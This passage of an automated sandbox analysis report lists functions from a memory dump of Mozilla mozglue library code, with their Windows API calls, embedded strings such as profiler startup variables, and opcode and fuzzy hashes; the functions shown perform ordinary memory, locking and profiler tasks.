moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AD9D

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE01
GetLastError.KERNEL32(?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CD5E330,?,6CD0C059), ref: 6CD4AE3D

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: c2d8810882916284528380726cab03bcd7833ae8f7689246439c31a4868dad09
Instruction ID: 21237eb89d1b05ba8d7f0ee8e3fda4f672cf9e3017dee2c4959de883ba4ee491
Opcode Fuzzy Hash: c2d8810882916284528380726cab03bcd7833ae8f7689246439c31a4868dad09
Instruction Fuzzy Hash: 0F312DB1A002159FDB10DF7A8C44AABB7F8AF49614F558839E99AD7750E734E804CBB0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD45EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CD5DCA0,?,?,?,6CD1E8B5,00000000), ref: 6CD45F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD1E8B5,00000000), ref: 6CD45F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CD1E8B5,00000000), ref: 6CD45F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CD1E8B5,00000000), ref: 6CD45F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD1E8B5,00000000), ref: 6CD45FD6

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: b3678d5365cfb347564061ea0efc1ffe66f7b865a2b3f8da345cc1636a4a7f7b
Instruction ID: cd45d662722773b1dae90feaab955162df4b9c9dc026c4df92be6d9bd7e0aa7d
Opcode Fuzzy Hash: b3678d5365cfb347564061ea0efc1ffe66f7b865a2b3f8da345cc1636a4a7f7b
Instruction Fuzzy Hash: 8B310B34300600DFD715CF29C898A2AB7F9FF89319BA48558FA568B7A5D731EC41CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCEB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6CCEB532
moz_xmalloc.MOZGLUE(?), ref: 6CCEB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CCEB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6CCEB57E
free.MOZGLUE(00000000), ref: 6CCEB58F

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 2a7dd51fba1feb05b90b0550e96a6c0479ef77a896b3f60ba19bb48cb5c94b76
Instruction ID: fd6cfae502acbb1bd9c42dd7a439e4fbb9bd7ee0bd6be6e1b7d11617898246c8
Opcode Fuzzy Hash: 2a7dd51fba1feb05b90b0550e96a6c0479ef77a896b3f60ba19bb48cb5c94b76
Instruction Fuzzy Hash: 3221F371A012059BDB008F69CC50BBAFBB9FF8A314F284029E919DB391F776D911C7A0

Uniqueness

Uniqueness Score: -1.00%

Function 6CD46E50 Relevance: 7.6, APIs: 5, Instructions: 72COMMON

Download Yara Rule

APIs

MozDescribeCodeAddress.MOZGLUE(?,?), ref: 6CD46E78

Part of subcall function 6CD46A10: InitializeCriticalSection.KERNEL32(6CD6F618), ref: 6CD46A68
Part of subcall function 6CD46A10: GetCurrentProcess.KERNEL32 ref: 6CD46A7D
Part of subcall function 6CD46A10: GetCurrentProcess.KERNEL32 ref: 6CD46AA1
Part of subcall function 6CD46A10: EnterCriticalSection.KERNEL32(6CD6F618), ref: 6CD46AAE
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD46AE1
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100), ref: 6CD46B15
Part of subcall function 6CD46A10: strncpy.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000100,?,?), ref: 6CD46B65
Part of subcall function 6CD46A10: LeaveCriticalSection.KERNEL32(6CD6F618,?,?), ref: 6CD46B83

MozFormatCodeAddress.MOZGLUE ref: 6CD46EC1
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD46EE1
_fileno.API-MS-WIN-CRT-STDIO-L1-1-0(?), ref: 6CD46EED
_write.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000400), ref: 6CD46EFF

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSectionstrncpy$AddressCodeCurrentProcess$DescribeEnterFormatInitializeLeave_fileno_writefflush
String ID:
API String ID: 4058739482-0
Opcode ID: 1677a7437e6e01bcbb6fea85494892a08710896233f9adc5f017a563629592dc
Instruction ID: ceda1c0dc252da81d36141938c40a577b7e4458489dcd13f23335805f271e7b5
Opcode Fuzzy Hash: 1677a7437e6e01bcbb6fea85494892a08710896233f9adc5f017a563629592dc
Instruction Fuzzy Hash: 1A21A471A042199FDB00CF69D8856EE7BF9EF84308F048039E94997351DB719A59CFA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD476C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON

Download Yara Rule

APIs

WideCharToMultiByte.KERNEL32 ref: 6CD476F2
moz_xmalloc.MOZGLUE(00000001), ref: 6CD47705

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

memset.VCRUNTIME140(00000000,00000000,00000001), ref: 6CD47717
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,6CD4778F,00000000,00000000,00000000,00000000), ref: 6CD47731
free.MOZGLUE(00000000), ref: 6CD47760

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ByteCharMultiWide$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 2538299546-0
Opcode ID: 36dbb13776aebf1e42e37162ce44e41257fba713b66af10d95515f7831f1b5aa
Instruction ID: eec42ace54988fe46bd0d5dbb9fc7abfa3ee1c9f843c3b4c322c7e9c8fdd9624
Opcode Fuzzy Hash: 36dbb13776aebf1e42e37162ce44e41257fba713b66af10d95515f7831f1b5aa
Instruction Fuzzy Hash: 5811C8B1A01215ABE710AF768C44B6B7EE8EF45354F054529F988E7310F7719844CBF2

Uniqueness

Uniqueness Score: -1.00%

Function 6CD20D60 Relevance: 7.5, APIs: 3, Strings: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualFree.KERNEL32(?,00000000,00008000,00003000,00003000,?,6CCE3DEF), ref: 6CD20D71
VirtualAlloc.KERNEL32(?,08000000,00003000,00000004,?,6CCE3DEF), ref: 6CD20D84
VirtualFree.KERNEL32(00000000,00000000,00008000,?,6CCE3DEF), ref: 6CD20DAF

Strings

: (malloc) Error in VirtualFree(), xrefs: 6CD20D97, 6CD20DBE
<jemalloc>, xrefs: 6CD20D92, 6CD20DB9

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: Virtual$Free$Alloc
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 1852963964-2186867486
Opcode ID: 0bd2b90231098cadb42d9bd8f6f9cef0f6a5927b5a9f74dacfb66c82f4311ae0
Instruction ID: a64967e98263a382057a9d27233597f26c2d3cabff41a52650da7658ad953627
Opcode Fuzzy Hash: 0bd2b90231098cadb42d9bd8f6f9cef0f6a5927b5a9f74dacfb66c82f4311ae0
Instruction Fuzzy Hash: 0AF0BB3139125473E71413770C29B66265D67C2B98F244026F344DAEE0DA58F401C6A4

Uniqueness

Uniqueness Score: -1.00%

Function 6CD0D468 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 146COMMON

Download Yara Rule

APIs

Part of subcall function 6CD1CBE8: GetCurrentProcess.KERNEL32(?,6CCE31A7), ref: 6CD1CBF1
Part of subcall function 6CD1CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CCE31A7), ref: 6CD1CBFA

EnterCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D4F2
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D50B

Part of subcall function 6CCECFE0: EnterCriticalSection.KERNEL32(6CD6E784), ref: 6CCECFF6
Part of subcall function 6CCECFE0: LeaveCriticalSection.KERNEL32(6CD6E784), ref: 6CCED026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D52E
EnterCriticalSection.KERNEL32(6CD6E7DC), ref: 6CD0D690
LeaveCriticalSection.KERNEL32(6CD6E784,?,?,?,?,?,?,?,00000000,74DF2FE0,00000001,?,6CD1D1C5), ref: 6CD0D751

Strings

MOZ_CRASH(), xrefs: 6CD0D4BB

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$EnterLeave$Process$CountCurrentInitializeSpinTerminate
String ID: MOZ_CRASH()
API String ID: 3805649505-2608361144
Opcode ID: 901fd1892e0d7eaf20e48043ca48345005e9c4ca04d58449eafb7031e4fad0d5
Instruction ID: 602cb2db536553e34691b853db660de3c2ca18b77fd11309b46cf8de5b989026
Opcode Fuzzy Hash: 901fd1892e0d7eaf20e48043ca48345005e9c4ca04d58449eafb7031e4fad0d5
Instruction Fuzzy Hash: E051C271B04B058FE314CF29C59472AB7E5EB89314F54492ED69AC7FA5D770E800CB61

Uniqueness

Uniqueness Score: -1.00%

Function 6CD346E0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 115COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CD34721

Part of subcall function 6CCE4410: __stdio_common_vsprintf.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,6CD23EBD,00000017,?,00000000,?,6CD23EBD,?,?,6CCE42D2), ref: 6CCE4444

Strings

-%llu, xrefs: 6CD34733
., xrefs: 6CD3476A
profiler-paused, xrefs: 6CD346E4

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: __aulldiv__stdio_common_vsprintf
String ID: -%llu$.$profiler-paused
API String ID: 680628322-2661126502
Opcode ID: f372ed701e69a383d5cf35b9bacb3125429718874e56083284b940e039324eb9
Instruction ID: 0c3d044e8bf3b85cd38fb4949af232973f9a55359eed44bdd975c86722ca8af7
Opcode Fuzzy Hash: f372ed701e69a383d5cf35b9bacb3125429718874e56083284b940e039324eb9
Instruction Fuzzy Hash: 65313BB1F042189BCB08DF6DD8856ADBFE6DB89314F14413DE8099BB51E7759C04CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3B410 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 104stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6CCE4290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6CD23EBD,6CD23EBD,00000000), ref: 6CCE42A9

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?,?,6CD3B127), ref: 6CD3B463
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CD3B4C9
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(FFFFFFFF,pid:,00000004), ref: 6CD3B4E4

Strings

pid:, xrefs: 6CD3B4DE

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: _getpidstrlenstrncmptolower
String ID: pid:
API String ID: 1720406129-3403741246
Opcode ID: d3a342d06a78a888112a2ea74858f6b92525397b35517d51fb938b367e9fbfee
Instruction ID: 60eb0fb33cf7a66c10c32a1d158be624d99192151786cc13b9fb9b0fed024d44
Opcode Fuzzy Hash: d3a342d06a78a888112a2ea74858f6b92525397b35517d51fb938b367e9fbfee
Instruction Fuzzy Hash: C2312531A01628EBDB00DFA9D880AAEB7B5FF46308F14152DD84567A90D731E845CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 6CD2E550 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 47threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6CD2E577
AcquireSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2E584
ReleaseSRWLockExclusive.KERNEL32(6CD6F4B8), ref: 6CD2E5DE
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6CD2E8A6

Strings

MOZ_PROFILER_STARTUP, xrefs: 6CD2E5A1, 6CD2E5CC, 6CD2E5FF, 6CD2E62A
MOZ_PROFILER_STARTUP_FEATURES_BITFIELD, xrefs: 6CD2E777
MOZ_PROFILER_STARTUP_ENTRIES, xrefs: 6CD2E655
MOZ_PROFILER_STARTUP_INTERVAL, xrefs: 6CD2E722, 6CD2E750, 6CD2E7A2
MOZ_PROFILER_STARTUP_FILTERS, xrefs: 6CD2E826, 6CD2E850

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadXbad_function_call@std@@
String ID: MOZ_PROFILER_STARTUP$MOZ_PROFILER_STARTUP_ENTRIES$MOZ_PROFILER_STARTUP_FEATURES_BITFIELD$MOZ_PROFILER_STARTUP_FILTERS$MOZ_PROFILER_STARTUP_INTERVAL
API String ID: 1483687287-53385798
Opcode ID: ec5f217689fd94bd26b5acb3c92d27e07b7f06346afbc9916d3bc098d89f93c8
Instruction ID: ee099f62c653a17ca30f51b1ae48bb0ff149601d0201599f6971af9105deeafe
Opcode Fuzzy Hash: ec5f217689fd94bd26b5acb3c92d27e07b7f06346afbc9916d3bc098d89f93c8
Instruction Fuzzy Hash: 8D115E31604654DFEB009F26C848B69FBB8FB89329F41051DEA8557FA0D774A809CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 6CD30C90 Relevance: 6.3, APIs: 5, Instructions: 99stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD30CD5

Part of subcall function 6CD1F960: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CD1F9A7

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CD30D40
free.MOZGLUE ref: 6CD30DCB

Part of subcall function 6CD05E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CD05EDB
Part of subcall function 6CD05E90: memset.VCRUNTIME140(6CD47765,000000E5,55CCCCCC), ref: 6CD05F27
Part of subcall function 6CD05E90: LeaveCriticalSection.KERNEL32(?), ref: 6CD05FB2

free.MOZGLUE ref: 6CD30DDD
free.MOZGLUE ref: 6CD30DF2

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: free$CriticalSectionstrlen$EnterImpl@detail@mozilla@@LeaveMutexmemset
String ID:
API String ID: 4069420150-0
Opcode ID: 06fcaa1f119165897202669f34a7804aca5bd5ef5a7106ac5b517b8997062123
Instruction ID: 7ff8724bc413ec6b03410df125d4dfc46e7ffcff88d78455831cad1d1fda9645
Opcode Fuzzy Hash: 06fcaa1f119165897202669f34a7804aca5bd5ef5a7106ac5b517b8997062123
Instruction Fuzzy Hash: 0C413A71908794CBD720CF29C04079AFBE5BFC9754F519A2EE8D887B60D770A444CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD3CCF0 Relevance: 6.3, APIs: 4, Instructions: 299COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(000000E0,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CDA4

Part of subcall function 6CCFCA10: malloc.MOZGLUE(?), ref: 6CCFCA26

Part of subcall function 6CD3D130: InitializeConditionVariable.KERNEL32(00000010,00020000,00000000,00100000,?,6CD3CDBA,00100000,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D158
Part of subcall function 6CD3D130: InitializeConditionVariable.KERNEL32(00000098,?,6CD3CDBA,00100000,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D177

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE(?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CDC4

Part of subcall function 6CD37480: ReleaseSRWLockExclusive.KERNEL32(?,6CD415FC,?,?,?,?,6CD415FC,?), ref: 6CD374EB

moz_xmalloc.MOZGLUE(00000014,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3CECC

Part of subcall function 6CCFCA10: mozalloc_abort.MOZGLUE(?), ref: 6CCFCAA2

Part of subcall function 6CD2CB30: floor.API-MS-WIN-CRT-MATH-L1-1-0(?,?,00000000,?,6CD3CEEA,?,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000), ref: 6CD2CB57
Part of subcall function 6CD2CB30: _beginthreadex.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000,00000000,6CD2CBE0,00000000,00000000,00000000,?,?,?,?,00000000,?,6CD3CEEA,?,?), ref: 6CD2CBAF

tolower.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,00000000,?,6CD2DA31,00100000,?,?,00000000,?), ref: 6CD3D058

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: ConditionInitializeVariablemoz_xmalloc$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedExclusiveLockProfileRelease_beginthreadexfloormallocmozalloc_aborttolower
String ID:
API String ID: 861561044-0
Opcode ID: 81e84899e3bec87a012ff14f6e13a7a27a94cc1c67e4f970d36be2f85d97bc39
Instruction ID: 7ca0aeffd1a9b0469d4babc3ddcc76ed74fa2c51caeb3582ec90353eed0bc8f7
Opcode Fuzzy Hash: 81e84899e3bec87a012ff14f6e13a7a27a94cc1c67e4f970d36be2f85d97bc39
Instruction Fuzzy Hash: 05D17F71A04B169FD708CF28C480799F7E1BF89308F01976DD9598B721EB31E9A5CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CD05C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6CD05D40
EnterCriticalSection.KERNEL32(6CD6F688), ref: 6CD05D67
__aulldiv.LIBCMT ref: 6CD05DB4
LeaveCriticalSection.KERNEL32(6CD6F688), ref: 6CD05DED

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 24009812be51c4cd304e92fab33592f33d6ad9c81da4de2b6b55689ba933a1b6
Instruction ID: 67c9c81382250c7a3f82077fa5aa82369f3b3a88ea44db6ddee22fe428e2ae25
Opcode Fuzzy Hash: 24009812be51c4cd304e92fab33592f33d6ad9c81da4de2b6b55689ba933a1b6
Instruction Fuzzy Hash: A6516B71E001198FDF08CFADC844BBEBBB6FB89304F19461AD951A7760D7306945CBA0

Uniqueness

Uniqueness Score: -1.00%

Function 6CCECDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6CCECEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6CCECEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6CCECF4E

Strings

0, xrefs: 6CCECF30

Memory Dump Source

Source File: 00000000.00000002.2095470819.000000006CCE1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCE0000, based on PE: true

Associated: 00000000.00000002.2095451626.000000006CCE0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095531707.000000006CD5D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095558358.000000006CD6E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2095769367.000000006CD72000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cce0000_w3WOJ1ohgD.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: daef5a837dc6ae052eac43a297d9f3ebc0173a487b983026cbddc5fa8e88c2ab
Instruction ID: 6155bb52b031bfd708201afd7cd5e95599dc6c8a2f4418a910f545ec1513e598
Opcode Fuzzy Hash: daef5a837dc6ae052eac43a297d9f3ebc0173a487b983026cbddc5fa8e88c2ab
Instruction Fuzzy Hash: CC5104759002568FCB04CF19C490AAABBB5FF9A300F19859DD8595F751E731ED06CBE0

Uniqueness

Uniqueness Score: -1.00%

